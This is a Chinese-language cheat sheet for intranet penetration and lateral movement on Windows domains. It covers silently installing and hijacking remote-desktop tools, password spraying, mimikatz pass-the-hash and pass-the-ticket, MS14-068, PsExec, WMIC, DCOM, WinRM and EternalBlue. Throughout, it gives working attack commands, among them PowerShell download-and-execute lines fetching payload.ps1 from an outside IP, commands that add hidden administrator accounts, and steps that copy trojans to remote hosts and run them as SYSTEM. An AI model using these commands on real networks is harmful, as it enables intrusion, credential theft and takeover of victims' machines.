发现了内网渗透的狠资料,很强

https://xz.aliyun.com/t/15367#toc-9

上线远控工具,可以直接通过RDP等服务连接其他电脑。

RustDESK

上传到目标靶机上,运行。找到RustDesk.toml

1
C:\Users\用户名\AppData\Roaming\RustDesk\config

下载到本地后进行添加密码,密码为6位

然后上传替换即可

GoToHTTP(要钱)

使用B2C模式。只需要在被控端下载即可,使用浏览器远控对面

img

上传到靶机,运行后直接查看同目录下的config.ini,能发现明文账号密码

todesk篇(会被报警,因为用的太多了)

类向日葵远控工具。

由于官方自己提供了静默安装,所以任意新版本都行

1
shell ToDesk.exe /S

然后就是寻找账号密码,然后进行远控即可

1
shell type C:\"Program Files (x86)"\ToDesk\config.ini

查看tempAuthPassEx的加密值进行解密即是密码,或者说将其进行覆盖。

使用本地的todesk的config.ini文件替换目标机器的config.ini即可

img

这个是设备识别码

这个是临时密码

img

将本地的这个config.ini上传到目标机器覆盖掉它的config.ini,重启进程即可

向日葵篇(漏洞已失效,但是可以进行文件替换)

1
C:\ProgramData\Oray\SunloginClient\config.ini 

使用向日葵绿色版进行运行,会在注册表中添加数值

1
HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient

通过提前输入向注册表中写入数值,即可绕过弹出页面框,直接进行控制

11.reg:

1
2
3
Windows Registry Editor Version 5.00 
[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient]
"11.1.0.37237_IsRunSeted"="1"

运行11.reg即可

1
2
regedit -s 11.reg  注册注册表
SunloginClient.exe 运行向日葵

可以通过运行向日葵后截图进行查看密码,但是会有需要点击向日葵页面才能让那个验证码出来

所以这里会有一个方法将那个验证码不需要点击就能查看

1
2
3
shell type C:\ProgramData\Oray\SunloginClient\config.ini
fastcode:本机识别码去掉k
encry_pwd:本机识别码,密文无法直接解密

如果不在config.ini中就在sys_config.ini中

向日葵识别码解密使用脚本即可解密

Sunflower.zip

暂时无法在飞书文档外展示此内容

运行SunDecrypt.py即可

计划任务横向移动(环境可能只有老电脑能跑)

比如只有windows server 2008

IPC(Internet ProcessConnection)共享”命名管道”的资源。是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用

通过IPC$,可以与目标机器建立连接。不仅可以访问目标机器中的文件,进行上传、下载等操作。还可以在上面运行其他命令,获取目标机器的目录结构、用户列表等信息

利用条件

1
2
3
4
5
1.开启了139445端口
ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139445端口可以实现对共享文件打印机的访问,因此一般来说,ipcs需要139445端口的支持

2.管理员开启了默认共享和IPC服务
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c、d、e)等和胸痛目录winnt或者windows(adminS)通过ipc可以实现对这些共享目录的访问,使用net share进行查看

首先建立一个IPC$

1
2
3
net use \\192.168.41.30\ipc$"密码" /user:administrator
net use //查看本地网络连接
dir \\xxx.xxx.xxx.xxx\c$

img

利用方式-windows自带命令

然后可能会有权限问题,需要过uac认证

https://www.freebuf.com/articles/network/332619.html

1
2
3
4
5
6
7
8
9
dir命令
使用netuse命令与远程目标
tasklist 查看进程
查看时间,准备计划任务 net time \\xxx.xxx.xxx.xxx
复制文件 copy 文件 \\xxx.xxx.xxx.xxx\C$
建立计划任务
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
或者
schtasks /create /u 账号 /p 密码 /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f

系统服务横向移动

先建立IPC连接

1
net use \\xxx.xxx.xxx.xxx\ipc$ "admin@123" /user:administrator

将木马上传

1
copy C:\xxx.exe \\xxx.xxx.xxx.xxx\c$

创建服务

1
sc \\xxx.xxx.xxx.xxx create 服务名称 binpath="cmd.exe /c c:\xxx.exe"

这里/c就是执行完命令后关闭窗口

启动服务

1
sc \\xxx.xxx.xxx.xxx start 服务名称

服务隐藏()/服务伪装()

Password Spraying密码喷洒攻击和域内用户枚举(枚举用户)

原理:

Kerberos本身是一种基于身份认证的协议,在kerberos协议认证的第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这一点,对有域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以根据AS的返回包来对域用户进行枚举.

密码喷洒用一个密码去碰撞很多账号,以避免账号被锁定的问题

条件

但当我们用非域内用户时,是不能直接通过这个来命令来查询的。当主机不在域内但是可以域内通信的时候或者在域内但是不是域账户的登录的时候。我们可以采用域控通信进行枚举。

下面的工具可参考

工具

kerbrute工具(用的最多)

1
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

暂时无法在飞书文档外展示此内容

1
kerbrute.exe passwordspray -d 域名 用户名字典 指定的密码

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec

密码喷洒,然后进行流量代理

1
crackmapexec smb 域名 -u 用户名字典 -p 指定的密码 --continue-on-success

DomainPasswordSpray.ps1

必须是域用户或者是system才行,虽然是system本来就算域用户

1
2
Import-Module DomainPasswordSpray.ps1 导入
Invoke-DomainPasswordSpray -UserList 1.txt -Domain xxx.com -Password 指定的密码 -OutFile xxx.txt

暂时无法在飞书文档外展示此内容

其他的命令可以去搜一下,在这里可能需要加上-Force进行强制执行,否则无法成功执行

如果想在cs中无文件落地进行执行的话

1
shell powershell.exe -exec bypass -command "&{import-module 在本地的文件地址;执行的命令,比如说Invoke-DomainPasswordSpray -UserList 1.txt -Domain xxx.com -Password 指定的密码 -OutFile xxx.txt}"

远程执行

1
shell powershell ‐exec bypass ‐c IEX (New‐ObjectSystem.Net.Webclient).DownloadString('http://xxx.xxx.xxx.xxx:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts xxx.xxx.xxx.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

PTH(Pass the Hash)哈希传递(重要)

深度好文:

https://xz.aliyun.com/t/8117?time__1311=n4%2BxnD0Dc7GQDtfK0KDsA3xCq%3DErTDgQcApoD

测试环境:

1
windows server2008

将抓取到的NTLM Hash值进行传递。将域管的NTLM Hash传递给另外的机器,进行登录

哈希传递前提:

1
有管理员的NTLM Hash,并且目标机器开放445端口,并且,两台机器的administrator用户账号密码相同

在工作组环境中:

Windows vista之前的机器,可以使用本地管理员组内进行攻击

Windows vista之后的机器,只能是使用administrator用户的hash才能进行hash传递攻击

在域环境中:

只有管理员组内用户(可以是域管理员组内不是administrator用户)的hash才能进行hash传递攻击,攻击成功后,可以访问域内任意一台同密码机器

方法一

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:xxx.com /ntlm:xxxxxxxxxxxxxxx"

这里输入完之后是会弹出一个框的,在该弹框中输入内容比如说访问被控的机器是可以的,但是如果是自己手动去开一个窗口,在那里会显示未知的窗口

创建计划任务

1
schtasks /create /s 192.168.41.20 /tn test1 /sc onstart /tr c:\wanli.exe /ru system /f

启动计划任务

1
schtasks /run /s 192.168.41.20 /i /tn "test1"

方法二

直接在需要攻击进的域内机器右键运行psexec_psh即可

img

选中然后修改domain、执行会话。就可以自动攻击

psexec_psh的使用可以学习下面这个文章

https://blog.csdn.net/qq_44874645/article/details/121394678

Pass the Key(PTK)密钥传递攻击

WinXP/2003/Vista/2008,以及未打补丁之前的Win7/2008r2/8/2012这些可以进行NTLM Hash传递,因为可以抓到NTLM明文

只有在windows8.1/2012r2,或者打了补丁的才能复现PTK

KB2871997

禁止本地管理员用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享

在补丁之后常规的PassTheHash无法成功,唯独默认的Administrator(SID500)账号除外,这个账号依旧可以进行PassTheHash远程连接,即使修改了名字,只需要这个SID500存在即可。

但是这个补丁能力不强。已经拿到机器了,拿Administrator很轻松,只能减少存储在内存中的凭证数据,也就是让wdigest协议认证的凭证不会存储在lsass.exe,使得我们抓取明文密码的时候无法成功

除此之外还可以使用AES密钥进行替代NTLM验证进行横向操作。

操作:

在被控的机器上抓取key

1
mimikatz sekurlsa::ekeys

查看到域管的aes256_hmac值,将其进行传递

1
sekurlsa::pth /user:administrator /domain:xxxx.com /aes256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

即可

然后需要注意的是,由于传递的是域控的aes256值,虽然可以访问任意机器,但是不能使用ip进行访问,只能使用域名进行访问

比如说

1
dir \\DC.xxx-1.com\C$

就行了

Pass The Ticket(PTT)票据传递攻击(维权用的)

就是黄金票据和白银票据,看前面的就行

手动

1
2
3
4
mimikatz.exe "privilege::debug" "sekurlsa::kickets /export"  //把所有的票据进行导出
shell klist purge
或者
mimikatz kerberos::purge //清除票据

高权限的票据文件注入内存

1
mimikatz kerberos::ptt pttxxxxxx

上线

1
2
3
4
net use \\dc.xxx.com
copy C:\xxx\xxx.com \\dc.xxx.com\C$
shell schtasks /create /s dc.xxx.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
shell schtasks /run /s dc.xxx.com /i /tn "test"

用CS

直接用就行

把ntlm hash 和sid传进去就行

MS14-068

非常牛,不需要再去找到域管理的NTLM Hash、ase256值之类的,直接将普通用户变成域管

原理:

在server2000以上的域控服务器中,通过伪造域管的TGT将普通用户权限提升为域管权限,以此来控制域控。只要服务器没有打漏洞ms14-068的补丁(KB3011780),都可以进行利用

MS14-068利用条件

1
2
3
获取域普通用户账号密码
获取域普通用户的sid
服务器未打补丁

环境windows server2008

查看域用户的SID

1
whoami /all

清除内存中的票据

1
klist purge

生成凭证

1
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控

导入票据

1
kerberos::ptc 票据名字

执行命令

1
dir \\dc.xxx.com\C$  //不能用ip,得用机器名

建立网络连接

1
net use \\dc.xxx.com

复制恶意文件

1
copy xxx.exe \\dc.xxx.com

添加计划任务

1
schtasks /create /s dc.xxx.com /tn test /sc onstart /tr xxx.exe /ru system /f 

启动计划任务

1
schtasks /run /s dc.xxx.com /i /tn "test"

即可上线

goldenPac.exe

1
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名

票据传递一键利用工具

PsExec工具远程命令执行横向移动(老了,被杀软盯死了,而且日志太多)

PsExec介绍

是windows下非常好的一款远程命令行工具。类似于RDP的平替。psexec的使用不需要对方开放3389,只需要对方开启了admin和IPC(默认开启),比如我电脑上

img

还需要开启了445端口。如果防火墙关闭了445端口,则会提示网络路径找不着。由于psexec是windows自带的工具,所以杀软将其放在白名单中

下载地址https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PsExec使用条件

1.具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)

2.能建立IPC链接(也就是需要通过smb认证),并且目标机器开启了共享(默认开启),并且目标中必须要有admin$共享

PsExec常用参数

1
2
3
4
5
6
psexec \\ip -u administrator -p admin cmd 进入半交互式shell
psexec -accepteula \\192.168.108.101 -u administrator -p admin -s cmd.exe 建立交互的shell
psexec \\ip -u administrator -p admin -w c:\cmd 进入交互式shell,且c:\是目标机器工作目录
psexec \\ip -u administrator -p admin whoami all 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行命令
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的用户权限执行文件

返回交互式的shell或者执行命令

1
2
psexec.exe -accepteula \\192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程到桌面CS)
psexec.exe -accepteula \\192.168.41.150 -s ipconfig 远程执行命令

net use \192.168.41.20\c$ admin@123 /user:administor

建立IPC链接,就能在后续的操作中不再输入账号密码

删除建立的ipc链接

Net use * /del /y

通过这种方式能传票据获取到访问权限,然后通过copy命令进行传木马,然后再在这里进行执行。

或者直接用CS里面集成好的就行

或者说使用票据传递

导出票据

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

清除票据

1
2
klist purge
mimikatz kerberos::purge

票据注入

1
mimikatz kerberos::ptt [0;998d7]-x-x-xxxxxx-Administrator@krbtht-HACK.COMkirbi

查看是否有票

1
2
klist
dir \\xx.xxx.xxx\c$

上传文件

1
copy C:\xxx\xxx\desktop\xxxx.exe \\dc.xxx.xxx\C$

运行

1
PsExec.exe -accepteula  \\dc.xxx.com -h -d C:\xxxx.exe

如果有账号密码直接IPC链接

如果有凭证就pth

如果有票据就ptt

WMIC远程执行命令横向移动(无日志,极好用)

WMI是在powershell没发布前,微软用来管理windows系统的数据库工具。wmi本身是数据库架构,使用dcom或者winrm协议,自从psexec在内网中被严格监控后,更多使用wmiexec进行横向,windows系统默认不会讲wmi操作记录在日志中,又转换成使用wmic

wmic拓展wmi(windows management instrumentation,windows管理规范),即wmic.exe,提供了命令行接口和批处理脚本执行系统管理的支持,

但是啊但是,wmic只有本地管理员或者域管才能正常使用,如果普通权限用户想用wmi,需要修改普通用户的acl,不过修改用户的acl也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
wmic logon list brief 登录用户
wmic ntdomain list brief 域控机器
wmic useraccount list brief 用户列表
wmic share get name,path 查看系统共享
wmic service list brief | more 服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除c盘下的test目录
wmic nteventlog get path,filename,writeable 查看系统中开启的日志
wmic qfe get description,installedOn 使用wmic识别系统中补丁的情况
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出系统中所有补丁具体情况
wmic product get name,version 查看系统中安装的软件以及版本
wmic useraccount where "name=%UserName%" call rename newUserName 更改当前用户名
wmic useraccount where "name=Administrator" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否为vmware
wmic desktop get screens Acer secure,screensavertimeout 查看当前是否有屏保,延迟多少
wmic process where name="vmtoolsd.exe" fet executablepath 获取指定进程的可执行文件路径,比如这里vmtools
wmic environment where "name='temp'" get UserName,VariableValue 获取环境变量
查询本机磁盘
wmic logicaldisk llist brief
wmic logicaldisk get description,name,size,freespace /value
卸载和重装安装程序
wmic product where "name like '%office%'" get name
wmic product where name="office" call uninstall
查看某个进程的详细信息(路径,命令行参数)
wmic process where name="wps.exe" list full
wmic process where name="wps.exe" get executablepath,name,ProcessId 进程路径
更改path环境变量值,新增c:\whoami
wmic environment where "name='path' and usernmae='<system>'" set VariableValue="%path%;c:\whoami"
查看某个进程的详细信息-PID
wmic process llist brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=123 list full
wmic process where name ="xxx.exe" call terminate
ntsd -c q -p PID
获取电脑产品编号和型号
wmic baseboard get Product,Serialnumber
wmic bios get serialnumber
安装软件
wmic product get name,version
wmic product list brief

错误代码含义以及解决方法

1
2
3
4
5
0x800706ba  RPC服务器不可用  开启防火墙,允许共享例外
0x80070005 拒绝访问 组策略允许administraotr远程访问
0x800706ba RPC服务器不可用 IP安全策略阻止135
0x80070422 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动 启用winmgmt服务
拒绝wbem(Web-Based Enterprise Management)目录权限,无法使用wmic

wmic调用cmd

需要管理员权限

1
2
3
4
5
6
7
8
9
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig > C:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\process.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@123we /add && net localgroup administrators test1 /add"
执行powershell上线
wmic /node:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \ "IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

利用powershell上线

利用cs生成powershell脚本,到服务器,然后用上面最后一句运行即可

wmiexec工具(会被windows defender挡)

wmiexec是一个由全交互和半交互的远程命令执行工具,由python版本的pe版本可运行多种环境,包括webshell环境,rdp环境、socks环境等。和wmic一样的,优点是不写入磁盘,不留下系统日志,但是啊但是会有很多网络流量传递

1
2
3
4
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfigb" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell(从cs上能看LMhash和NThash)
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP ”ipconfig“ #执行命令

wmiexec.vbs

脚本调用wmi来模拟PsExec的功能,在远程中执行命令并进行回显,获取远程主机的半交互式的shell,wmiexec.vbs支持半交互shell模式,另一种是执行单条命令模式

1
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

Invoke-WMIExec

是一个powershell脚本在invoke-TheHash的文件中用法如下

1
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" -verbose

采用无文件落地方式进行横向

1
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('xxxxxx');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target xxx.xxx.xxx.xxx 0Username administrator -Hash xxxxxxxxxxxxxxxxxxxxx -Command "whoami" -verbose

本地执行

导入脚本

1
powershell-import powershell/Invoke-WMIExec.ps1

运行上线命令

1
powershell Invoke-WMIExec -Target xxx.xxx.xxx.xxx -Username administrator -Hash xxxxxxxxxxxxxxxxx -Command "powershell.exe -nop -w hidden -c IEX ((new-objectnet.webclient).downloadstring('xxxxxx'))" -verbose

Invoke-WMIMethod.ps1

为powershell的内置模块,可以使用自由组合的命令进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
$User #目标系统用户名 
$Password #目标系统密码
$Cred #账号密码整合,导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -
ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe
-nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
ComputerName "192.168.41.20" -Credential $Cred

SMB远程代码执行(不能在cs里面用,得拿到机器才能用)

smbexec使用

smbexec是impacket工具中的工具,操作简单,容易被杀,使用无需先进行ipc链接

由于它在域控制里面经常用到,所以一般来说不会被禁用

1
smbexec -hashes :$HASH$ ./admin@xxx.xxx.xxx.xxx

DCOM远程命令横向移动

DCOM介绍

DCOM是微软的一系列概念和程序接口,支持不同机器上的组件间相互通信,不论是运行在局域网、广域网、还是internet上,利用这个接口,客户端对象能向网络中另一台积极去上的服务器程序对象发送请求,使用

域管的administrator账户或者目标主机具有主机的管理员账户

windows自带

通过powershell与dcom进行远程交互,另外我们需要提供一个dcom progid和一个ip地址,然后就能远程返回一个com对象的实例

1
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","11.111.111.111"))

执行命令,能调用executeshellcommand方法在远程主机上启动进程

1
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shell.exe","Minimzed")

将ip和命令更换即可

shellwindows远程命令执行

这里的值是COM 对象的类标识符,这个值是通过查找和CLSID关联代码并创建类对象获取的

相关文章:https://www.exploit-db.com/docs/48767

1
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0) 打开本地计算器

img

Shellbrowserwindow

1
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-objectnet.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:windowssystem32",$null,0)

Excel.Application

装有excle

通过powershell与dcom进行远程交互,创建excel.application对象的实例

1
2
3
4
5
6
7
$com = 
[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.1
68.41.147"))
$com.DisplayAlerts = $false
$com =
[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0
.0.1"))

执行后面的命令,调用执行该对象在”DDElnitiate”方法在远程主机上启动进程

1
$com.DDEInitiate("cmd.exe","/c 参数")

Visio.Application远程代码执行

1
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:shell.exe") 

Outlook.Application远程

1
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe") 

WinRM远程执行命令

WinRM(windows远程管理)是microsoft在windows中对ws-management的实现,将通用网络访问或交换管理信息。利用脚本或内置的命令行工具,winrm可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于windows的计算机(包括winrm)

winrm默认端口为5985或5986,若配置了winrm远程,当我们拿到管理员账号,可以用远程连接进行命令执行操作

配置winrm,可以参考https://blog.csdn.net/qq_23663693/article/details/121654390

1
winrs -r:http://xxx.xxx.xxx.xxx:xxxx -u administrator -p:xxxxx "whoami"

如果出现例如客户端无法处理该请求,则输入 winrm set winrm/config/Client @{TrustedHosts=”*”}

ms17-010

使用cs生成bin文件

使用msf把bin文件变成dll文件,或者直接生成也行

1
2
3
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o wanli111.dll
Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60